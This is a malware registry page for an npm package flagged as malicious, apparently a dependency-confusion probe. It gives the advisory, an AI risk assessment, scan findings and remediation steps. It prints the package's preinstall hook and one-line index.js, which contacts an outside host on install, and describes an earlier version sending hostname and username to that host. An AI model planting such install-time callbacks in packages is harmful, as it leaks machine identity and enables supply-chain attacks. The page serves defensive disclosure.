registry / Malware / @accenturecodefoundry/mfe-pot-shared-ui-scds-core / 99.99.41

@accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.41

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 9d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-17867 confirms this npm version as malicious.

Advisory

MAL-2026-17867

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @accenturecodefoundry/mfe-pot-shared-ui-scds-core (npm)

Details

@accenturecodefoundry/mfe-pot-shared-ui-scds-core describes itself as “A simple placeholder for npm.” Its preinstall hook runs `node index.js || true` on npm install. Version 99.99.2 encodes the hostname and username as hexadecimal query parameters and sends them to `accenture-npm.azurewebsites.net/test`; version 99.99.4 sends a GET request to `https://accenture-npm.azurewebsites.net/async`; and version 99.99.41 sends a GET request to `https://accenture-npm.azurewebsites.net/mfe`. The npm account `priyashareek` published it on 2026-10-13.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The automatic install-time network request is unexplained and warrants a warning. The inspected source does not establish a concrete attack or show collected data beyond the request itself.

Static reason

One or more suspicious static signals were detected.

Trigger

Package installation runs the preinstall script.

Impact

The host receives the request and can observe its network source; the reason for the contact is unresolved.

Mechanism

The script executes index.js, which sends an HTTPS GET to the fixed host.

AI rationale

The automatic install-time network request is unexplained and warrants a warning. The inspected source does not establish a concrete attack or show collected data beyond the request itself.

Evidence

package.jsonindex.js

Network endpoints1

accenture-npm.azurewebsites.net/mfe

Independent scan evidence

public snapshot

AI called this Suspicious at 87.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for AI warning decision

package.json runs index.js during preinstall; postinstall is empty.
index.js sends an HTTPS GET to accenture-npm.azurewebsites.net/mfe whenever it runs.
The entrypoint shows no request body or collected credentials, leaving the purpose of the automatic contact unresolved.

Evidence against

The inspected entrypoint does not read environment variables or files, or show credential collection or transfer.

Behavioral surface

Source

Network

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 155 B of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall =

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node index.js || true", "postinstall": "" }, "keywords": [], "au

High

Suspicious Lifecycle Evidence

package.json runs index.js during preinstall; postinstall is empty.

package.jsonView on unpkg · L5

•scripts.preinstall = node index.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall =

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1const https = require('https'); const callback = 'accenture-npm[redacted]'; try { https.get(`https://${callback}/mfe`, () => {}); } catch(e) {}

High

Ai Review Evidence

index.js sends an HTTPS GET to accenture-npm.azurewebsites.net/mfe whenever it runs.

index.jsView on unpkg · L1

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall =

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node index.js || true", "postinstall": "" }, "keywords": [], "au

High

Suspicious Lifecycle Evidence

package.json runs index.js during preinstall; postinstall is empty.

package.jsonView on unpkg · L5

•scripts.preinstall = node index.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall =

Findings

3 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

Affected versions and remediation

This report applies to @accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.41.

See all versions of @accenturecodefoundry/mfe-pot-shared-ui-scds-core for other recorded verdicts.

Avoid installing @accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.41. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-14 00:30:08.160Z (UTC).

Source advisory published: 2026-10-13 13:37:54.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code